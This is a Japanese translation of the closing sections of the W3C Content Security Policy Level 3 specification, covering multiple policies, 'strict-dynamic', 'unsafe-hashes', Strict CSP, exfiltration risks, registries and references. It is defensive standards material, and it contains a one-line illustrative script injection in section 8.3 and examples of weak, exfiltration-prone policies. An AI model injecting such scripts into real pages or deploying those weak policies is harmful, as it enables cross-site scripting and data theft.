ここで新しくCSPリストのコピーを作成するため、新しいDocumentCSPリストは作成時点のポリシーのスナップショットとなります。新しいDocumentCSPリストを変更しても、元のDocumentのCSPリストには影響しません(逆も同様)。

下記例では、iframe内の画像はiframeのmetaタグのポリシーでブロックされロードされません。iframe外の画像は(メインページ側ポリシーがブロックしない限り)ロードされます。iframe内に挿入されたポリシーは外側には影響しません。
<iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;">
                   <img src="not-example.com/image">'></iframe>

<img src="not-example.com/image">

8. 著作に関する考慮事項

8.1. 複数ポリシーの効果

このセクションは規範的ではありません。

上記セクションでは、複数ポリシーが存在する場合、それぞれがタイプに応じて強制または報告されなければならないと述べています。実際の動作例を挙げることで、これが実際どう機能すべきか明確にします。たとえば、XMLHttpRequestの挙動は、サイトが下記のようなHTTPヘッダーを送信した場合、分かりにくいかもしれません:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

example.comへの接続は許可されるか?短い答えは「許可されない」です。両方のポリシーを強制する場合、接続は両方のポリシーを満たさなければなりません。2つ目のポリシーは接続を許可しますが、1つ目のポリシーがconnect-src 'none'を含むため、強制されて接続はブロックされます。つまり、強制するポリシーが増えるほど、保護されるリソースの能力はさらに制限されます。

さらに説明すると、このページのscriptタグを考えてみます。1つ目のポリシーはdefault-src指令で'self'http://example.comhttp://example.netに制限します。2つ目はhttp://example.com/のみ許可します。scriptは両方のポリシーを満たした場合のみロードされ、この場合両方が許可するオリジンはhttp://example.comだけです。

8.2. "'strict-dynamic'"の利用

このセクションは規範的ではありません。

ホストやパスベースのポリシーは、特にCDNのような広範なオリジンでは正しく運用するのが難しいです。 Cure53のH5SC Minichallenge 3: "Sh*t, it’s CSP!" [H5SC3] の ソリューションは、このようなポリシーが有効にしてしまうバイパスの良い例です。CSPは特定のリソースを厳密に列挙することでそれらのバイパスを緩和できますが、このリストは壊れやすく、扱いづらく、実装や保守も難しくなります。

"'strict-dynamic'" ソース式は、 信頼できるスクリプトを直接ロードしているという高い自信を持つ一方で、事前に合理的なリソースリストを用意する自信が低い既存のアプリケーションに対し、Content Security Policyの導入を容易にすることを目指しています。

これが script-src または default-src ディレクティブに含まれる場合、主に2つの効果があります:

  1. host-sourcescheme-source 式、加えて "'unsafe-inline'" および "'self' keyword-source は スクリプトをロードするときに無視されます。

    hash-source および nonce-source 式は 尊重されます。

  2. "parser-inserted" script 要素によるスクリプトリクエストは許可されます。

最初の変更により、ユーザーエージェントの判別なしに、"'strict-dynamic'" を後方互換的に導入できます: ポリシー 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' は、CSP1対応のブラウザでは 'unsafe-inline' https: のように挙動し、 CSP2対応のブラウザでは https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' として、 CSP3対応のブラウザでは 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic' として動作します。

二番目の効果により、nonceやハッシュでページへのアクセスが許可されたスクリプトは、依存関係を明示的にページのポリシーに追加することなく読み込むことができます。

仮にMegaCorp, Inc.が次のポリシーを展開しているとします:
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

そしてそのポリシーが有効な状態で以下のHTMLを配信するとします:

...
<script src="https://cdn.example.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
...

これにより https://cdn.example.com/script.js へのリクエストが生成されますが、 nonce 属性が一致するためブロックされません。

もし script.js に次のようなコードが含まれていた場合:

var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(s);

document.write('<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>');

dependency.js は読み込まれます。なぜなら createElement() で生成された script 要素は "parser-inserted" ではないからです。

一方で sadness.js読み込まれません。これは document.write() により生成される script 要素は "parser-inserted" であるためです。

Note: 'strict-dynamic' を利用すると、実行時に生成されたスクリプトが実行可能になります。こうしたスクリプトの場所が攻撃者によって制御できる場合、ポリシーは任意のスクリプトの読み込みを許可することになります。'strict-dynamic' をポリシーに利用する開発者は、非parser-inserted APIの利用を監査し、潜在的に信用できないデータで呼び出されないようにするべきです。これは、スクリプトの場所を実行時に決定する傾向のあるアプリケーションやフレームワークも含みます。

8.3. "'unsafe-hashes'"の利用

このセクションは規範的ではありません。

レガシーサイトや依存関係が古いサイトは、イベントハンドラを完全に外部化するのが困難な場合があります。これらのサイトは'unsafe-inline'で許可できますが、リスクが高く(nonceやハッシュと併用不可)です。

'unsafe-hashes'ソース式は、このような状況でCSPの導入を簡単かつ安全にするため、ハッシュで特定ハンドラを有効化できるようにします。

MegaCorp, Inc.は次のHTMLをすぐには排除できません:
<button id="action" onclick="doSubmit()">

彼らはセキュリティを下げる'unsafe-inline'ではなく、'unsafe-hashes'doSubmit()対応のハッシュ式を利用することにしました:

Content-Security-Policy:  script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='

'unsafe-hashes'の能力はレガシーサイト向けには有益ですが、最新サイトでは避けるべきです。特に、ハッシュで特定スクリプトの実行は許可できますが、開発者の意図通りに実行される保証はありません。重要な機能がインラインイベントハンドラで露出されている場合(例:<a onclick="transferAllMyMoney()">Transfer</a>)、攻撃者が<script>transferAllMyMoney()</script>としてインジェクト可能になります。開発者はリスクと利便性を慎重に判断してください。

8.4. ハッシュによる外部JavaScriptの許可

このセクションは規範的ではありません。

[CSP2]では、ハッシュsource expressionはインラインスクリプトだけに適用されましたが、Subresource Integrity [SRI]が広く普及した現在、外部JavaScriptにも適用できるようになりました。

複数セットのintegrityメタデータがscript要素に指定された場合、リクエストはポリシーのhash-sourceに一致する場合のみ(全てのintegrityメタデータが一致する場合のみ)許可されます。

注: CSP仕様では、インラインscript要素やイベントハンドラの内容はハッシュ計算前にUTF-8エンコードする必要があります。[SRI]はフェッチした生リソースにハッシュを計算します。したがって、インラインスクリプトと外部スクリプトが内容的に同一でも、許可に必要なハッシュ値が異なる場合があります。

MegaCorp, Inc.はページ上で2種の特定スクリプトのみを許可し、内容が期待通りであることを保証したいと考えました。次のようなポリシーを設定します:
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'

このポリシー下では、以下のscript要素は、integrityメタデータがポリシーに一致するので実行が許可されます:

<script integrity="sha256-abc123" ...></script>
<script integrity="sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha512-321cba" ...></script>

一方、以下のscript要素は、validなメタデータがポリシーと一致しない(他のメタデータは一致していても)ため実行されません:

<script integrity="sha384-xyz789" ...></script>
<script integrity="sha384-xyz789 sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha384-xyz789 sha512-321cba" ...></script>

認識されないメタデータ(完全に無効か、未サポートハッシュアルゴリズム指定)は、ここで説明する動作に影響しません。次の要素は追加メタデータが無効なので、明示的にポリシーに列挙されていないスクリプトの実行は許可されませんが、上記ポリシーで実行可能です:

<script integrity="sha256-abc123 sha1024-abcd" ...></script>
<script integrity="sha512-321cba entirely-invalid" ...></script>
<script integrity="sha256-abc123 not-a-hash-at-all sha512-321cba" ...></script>

8.5. 厳格CSP

このセクションは規範的なものではありません。

XSSに対して有効なCSPのデプロイは困難です(詳細は CSP Is Dead, Long Live CSP! [LONG-LIVE-CSP] を参照)。しかし、以下のCSPディレクティブのセットを厳格に適用することが、 XSS対策として有効であり、導入も可能であることが確認されています。

  1. script-src: nonce source-expression および / または hash source-expression を "'strict-dynamic'" keyword-source とともに使用すること。

    Note: "'strict-dynamic'" は(§ 8.2 "'strict-dynamic'" の利用に記載がある通り)導入が容易ですが、可能な限り利用は避けるべきです。

    Note: 後方互換性のため、https: scheme-source を "'strict-dynamic'" と併記することが推奨されます。

  2. base-uri: "'self'" または "'none'" を値として指定すること。

上記の基準を満たすCSPは Strict CSPと呼ばれます。詳細は [WEBDEV-STRICTCSP] にて議論されています。

以下は Strict CSP の例です:

NonceベースのStrict CSP:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';

ハッシュベースのStrict CSP:

Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';

8.6. データ流出

このセクションは規範的ではありません。

リクエスト内容(URLなど)にユーザーやページ情報が含まれる場合、これが制限されずに共有されることでデータ流出が起こり得ます。

Content Security Policyは、ページが通信可能なサーバーの許可リストを作ることでデータ流出を防げます。default-src指令がないポリシーは流出防止にならない点に注意してください。より細かい指令(prefetchなど)では対応できないリクエストもあるためです。[HTML]

下記例では、画像・フォント・スクリプトへの厳しい制限があっても、他のリクエストタイプ(fetch()prefetchなど)でデータ流出が可能です:[HTML]
Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'

このポリシーにdefault-src 'none'を追加すれば、こうした攻撃への耐性が向上します。

次の例では、default-src指令が流出防止になっているように見えるものの、img-src指令がワイルドカードで制限を緩和しており、任意エンドポイントへの流出が許可されます。ポリシーの流出防止能力は最も制限の緩い指令の許可リストに依存します:
Content-Security-Policy: default-src 'none'; img-src *

9. 実装に関する考慮事項

9.1. ベンダー独自拡張とアドオン

ポリシーがリソースに強制される場合、アドオン、拡張機能、ブックマークレットなどユーザーエージェント機能の動作を妨げるべきではありません(SHOULD NOT)。こうした機能は一般にページ作者よりユーザープライオリティが高いと考えられます([HTML-DESIGN]参照)。

さらに、これらの機能にCSPを適用すると違反レポートに大量のノイズが発生し、開発者にとって価値が大きく減少します。

Chromeでは例えば、chrome-extension:スキームをCSPチェックから除外し、拡張機能によるインジェクションはページのポリシーによらず許可されるようになっています。

10. IANAに関する考慮事項

10.1. 指令レジストリ

Content Security Policy指令レジストリは、以下の指令と参照で更新すべきです([RFC7762]参照):

base-uri

本書(§ 6.3.1 base-uri参照)

child-src

本書(§ 6.1.1 child-src参照)

connect-src

本書(§ 6.1.2 connect-src参照)

default-src

本書(§ 6.1.3 default-src参照)

font-src

本書(§ 6.1.4 font-src参照)

form-action

本書(§ 6.4.1 form-action参照)

frame-ancestors

本書(§ 6.4.2 frame-ancestors参照)

frame-src

本書(§ 6.1.5 frame-src参照)

img-src

本書(§ 6.1.6 img-src参照)

manifest-src

本書(§ 6.1.7 manifest-src参照)

media-src

本書(§ 6.1.8 media-src参照)

object-src

本書(§ 6.1.9 object-src参照)

report-uri

本書(§ 6.5.1 report-uri参照)

report-to

本書(§ 6.5.2 report-to参照)

sandbox

本書(§ 6.3.2 sandbox参照)

script-src

本書(§ 6.1.10 script-src参照)

script-src-attr

本書(§ 6.1.12 script-src-attr参照)

script-src-elem

本書(§ 6.1.11 script-src-elem参照)

style-src

本書(§ 6.1.13 style-src参照)

style-src-attr

本書(§ 6.1.15 style-src-attr参照)

style-src-elem

本書(§ 6.1.14 style-src-elem参照)

worker-src

本書(§ 6.2.2 worker-src参照)

10.2. ヘッダー

パーマネントメッセージヘッダーフィールドレジストリは、以下の登録で更新すべきです:[RFC3864]

10.2.1. Content-Security-Policy

ヘッダーフィールド名
Content-Security-Policy
適用プロトコル
http
ステータス
standard
著者/変更管理者
W3C
仕様文書
本仕様書(§ 3.1 Content-Security-Policy HTTPレスポンスヘッダーフィールド参照)

10.2.2. Content-Security-Policy-Report-Only

ヘッダーフィールド名
Content-Security-Policy-Report-Only
適用プロトコル
http
ステータス
standard
著者/変更管理者
W3C
仕様文書
本仕様書(§ 3.2 Content-Security-Policy-Report-Only HTTPレスポンスヘッダーフィールド参照)

11. 謝辞

多くの方々に感謝します。例えば:

適合性

文書の規約

適合性要件は、記述的な断定とRFC 2119の用語の組み合わせによって表現されます。 規範的部分における主要語句「MUST」「MUST NOT」「REQUIRED」「SHALL」「SHALL NOT」「SHOULD」「SHOULD NOT」「RECOMMENDED」「MAY」「OPTIONAL」はRFC 2119で説明された通りに解釈されます。 ただし、読みやすさのため、本仕様ではこれらの語句はすべて大文字では表記されません。

この仕様の本文は、明示的に非規範的、例、注として記載されている部分以外はすべて規範的です。[RFC2119]

この仕様における例は「例えば」で導入されるか、class="example"で規範的テキストから分離して提示されます。

これは参考例の一例です。

参考注は「注」で始まり、class="note"で規範的テキストから分離されます。

注:これは参考注です。

適合するアルゴリズム

アルゴリズム内で命令形で記述された要件(例:「先頭の空白文字を取り除く」「falseを返してこれらの手順を中止する」など)は、アルゴリズムの導入時に使われた主要語句("must"、"should"、"may"など)の意味で解釈されます。

アルゴリズムや特定の手順として表現された適合性要件は、最終的な結果が同等である限り、どのような方法で実装してもかまいません。 特に、この仕様で定義されたアルゴリズムは理解しやすいことを目的としており、性能重視ではありません。 実装者は最適化を推奨します。

索引

本仕様で定義された用語

参照によって定義される用語

参考文献

規範的参考文献

[CSS-CASCADE-5]
Elika Etemad; Miriam Suzanne; Tab Atkins Jr.. CSSカスケーディングおよび継承レベル5。2022年1月13日。CR。URL: https://www.w3.org/TR/css-cascade-5/
[CSSOM]
Daniel Glazman; Emilio Cobos Álvarez。CSSオブジェクトモデル(CSSOM)。2021年8月26日。WD。URL: https://www.w3.org/TR/cssom-1/
[DOM]
Anne van Kesteren。DOM標準。リビングスタンダード。URL: https://dom.spec.whatwg.org/
[ECMA262]
Brian Terlson; Allen Wirfs-Brock。ECMAScript® 言語仕様。URL: https://tc39.github.io/ecma262/
[ENCODING]
Anne van Kesteren。エンコーディング標準。リビングスタンダード。URL: https://encoding.spec.whatwg.org/
[FETCH]
Anne van Kesteren。Fetch標準。リビングスタンダード。URL: https://fetch.spec.whatwg.org/
[HTML]
Anne van Kesteren; et al. HTML標準。リビングスタンダード。URL: https://html.spec.whatwg.org/multipage/
[INFRA]
Anne van Kesteren; Domenic Denicola。Infra標準。リビングスタンダード。URL: https://infra.spec.whatwg.org/
[REPORTING]
Ilya Grigorik; Mike West。Reporting API。URL: https://wicg.github.io/reporting/
[REPORTING-1]
Douglas Creager; Ian Clelland; Mike West。Reporting API。2025年6月11日。WD。URL: https://www.w3.org/TR/reporting-1/
[RFC2119]
S. Bradner。RFCで要求レベルを示すためのキーワード。1997年3月。Best Current Practice。URL: https://datatracker.ietf.org/doc/html/rfc2119
[RFC3492]
A. Costello。Punycode: アプリケーション(IDNA)で使用される国際化ドメイン名のためのUnicodeのBootstringエンコーディング。2003年3月。提案標準。URL: https://www.rfc-editor.org/rfc/rfc3492
[RFC3864]
G. Klyne; M. Nottingham; J. Mogul。メッセージヘッダーフィールドの登録手続き。2004年9月。Best Current Practice。URL: https://www.rfc-editor.org/rfc/rfc3864
[RFC3986]
T. Berners-Lee; R. Fielding; L. Masinter。ユニフォームリソース識別子(URI):一般構文。2005年1月。インターネット標準。URL: https://www.rfc-editor.org/rfc/rfc3986
[RFC4648]
S. Josefsson。Base16, Base32, Base64データエンコーディング。2006年10月。提案標準。URL: https://www.rfc-editor.org/rfc/rfc4648
[RFC5234]
D. Crocker, Ed.; P. Overell。構文仕様の拡張BNF:ABNF。2008年1月。インターネット標準。URL: https://www.rfc-editor.org/rfc/rfc5234
[RFC7762]
M. West。コンテンツセキュリティポリシーディレクティブレジストリの初期割り当て。2016年1月。情報。URL: https://www.rfc-editor.org/rfc/rfc7762
[RFC8288]
M. Nottingham。ウェブリンク。2017年10月。提案標準。URL: https://httpwg.org/specs/rfc8288.html
[RFC9110]
R. Fielding, Ed.; M. Nottingham, Ed.; J. Reschke, Ed.. HTTPセマンティクス。2022年6月。インターネット標準。URL: https://httpwg.org/specs/rfc9110.html
[SERVICE-WORKERS]
Monica CHINTALA; Yoshisato Yanagisawa。サービスワーカー ナイトリー。2026年3月6日。CRD。URL: https://www.w3.org/TR/service-workers/
[SRI]
Frederik Braun。サブリソース整合性。2025年7月10日。WD。URL: https://www.w3.org/TR/sri-2/
[TRUSTED-TYPES]
Krzysztof Kotowicz。Trusted Types。2026年2月24日。WD。URL: https://www.w3.org/TR/trusted-types/
[URL]
Anne van Kesteren。URL標準。リビングスタンダード。URL: https://url.spec.whatwg.org/
[WEBIDL]
Edgar Chen; Timothy Gu。Web IDL標準。リビングスタンダード。URL: https://webidl.spec.whatwg.org/
[WEBRTC]
Cullen Jennings; et al. WebRTC:ブラウザでのリアルタイムコミュニケーション。2025年3月13日。REC。URL: https://www.w3.org/TR/webrtc/

参考情報

[APPMANIFEST]
Marcos Caceres; 他. Web Application Manifest. 2026年1月29日. WD. URL: https://www.w3.org/TR/appmanifest/
[BEACON]
Ilya Grigorik; Alois Reitbauer. Beacon. 2022年8月3日. CRD. URL: https://www.w3.org/TR/beacon/
[CSP2]
Mike West; Adam Barth; Daniel Veditz. Content Security Policy Level 2. 2016年12月15日. REC. URL: https://www.w3.org/TR/CSP2/
[CSS-ABUSE]
Chris Evans. 汎用クロスブラウザクロスドメイン窃盗. 2009年12月28日. URL: https://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html
[EVENTSOURCE]
Ian Hickson. サーバー送信イベント. 2021年1月28日. REC. URL: https://www.w3.org/TR/eventsource/
[FILEDESCRIPTOR-2015]
filedescriptor. CSP 2015. 2015年11月23日. URL: https://blog.innerht.ml/csp-2015/#danglingmarkupinjection
[H5SC3]
Mario Heiderich. H5SC Minichallenge 3: "Sh*t, it's CSP!". URL: https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22
[HTML-DESIGN]
Anne Van Kesteren; Maciej Stachowiak. HTML デザイン原則. URL: https://www.w3.org/TR/html-design-principles/
[LONG-LIVE-CSP]
Lukas Weichselbaum; 他. CSPは死んだ、CSP万歳!ホワイトリストの脆弱性とContent Security Policyの未来. 2016年10月24日. URL: https://dl.acm.org/doi/10.1145/2976749.2978363
[MIX]
Emily Stark; Mike West; Carlos IbarraLopez. 混在コンテンツ. 2023年2月23日. CRD. URL: https://www.w3.org/TR/mixed-content/
[TIMING]
Paul Stone. ピクセルパーフェクトタイミング攻撃. URL: https://owasp.org/www-pdf-archive/HackPra_Allstars-Browser_Timing_Attacks_-_Paul_Stone.pdf
[UISECURITY]
Brad Hill. ユーザーインターフェースセキュリティとVisibility API. 2016年6月7日. WD. URL: https://www.w3.org/TR/UISecurity/
[UPGRADE-INSECURE-REQUESTS]
Mike West. 不安全なリクエストのアップグレード. 2015年10月8日. CR. URL: https://www.w3.org/TR/upgrade-insecure-requests/
[WEBDEV-STRICTCSP]
Lukas Weichselbaum. 厳格Content Security Policy (CSP) によるクロスサイトスクリプティング (XSS) の緩和. 2021年3月15日. URL: https://web.dev/strict-csp/
[WEBSOCKETS]
Adam Rice. WebSockets標準. 現行標準. URL: https://websockets.spec.whatwg.org/
[XHR]
Anne van Kesteren. XMLHttpRequest標準. 現行標準. URL: https://xhr.spec.whatwg.org/
[XSLT]
James Clark. XSL変換 (XSLT) バージョン 1.0. 1999年11月16日. REC. URL: https://www.w3.org/TR/xslt-10/

IDL索引

dictionary CSPViolationReportBody : ReportBody {
  USVString documentURL;
  USVString? referrer;
  USVString? blockedURL;
  DOMString effectiveDirective;
  DOMString originalPolicy;
  USVString? sourceFile;
  DOMString? sample;
  SecurityPolicyViolationEventDisposition disposition;
  unsigned short statusCode;
  unsigned long? lineNumber;
  unsigned long? columnNumber;
};

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

課題索引

この種の仕様はどこかにありますか?[ECMA262]では役立ちそうなものが見当たりませんでした。
ステータスコードは具体的にどうやって取得しますか?実際にはどこにも保存していません。
スタイルシートのロードはWHATWGのHTMLにおいてまだFetchと統合されていません。[whatwg/html Issue #968]
これについて、より良い説明が必要です。[w3c/webappsec-csp Issue #212]
実行コンテキストに対して何らかの興味深い処理を行い、CSSOMアルゴリズムをロックダウンする必要があります。CSSOMにはフックがないようなので、何か妥当なものを一緒に検討しましょう。
ここでこのエラーを利用する場合、HTMLに何らかの記録用フックが必要です。[whatwg/html Issue #3257]
この処理は、既存要素からnonceを盗んでインジェクトスクリプトをロードするdangling markup攻撃のリスクを軽減するためのものです。ただし、すべての属性とその値を走査しなければならず、負荷が高いです。ここではnonceがあるscript要素だけでチェックすることで影響を最小化していますが、その影響が分かるまではこのアルゴリズムを「at risk」と考えるべきかもしれません。[w3c/webappsec-csp Issue #98]
現状、HTML仕様のパースアルゴリズムは、§ 6.7.3.1 要素はnonce可能か?アルゴリズム実行前にこの情報を削除してしまうため、実際に重複属性を検出できません。[whatwg/html Issue #3257]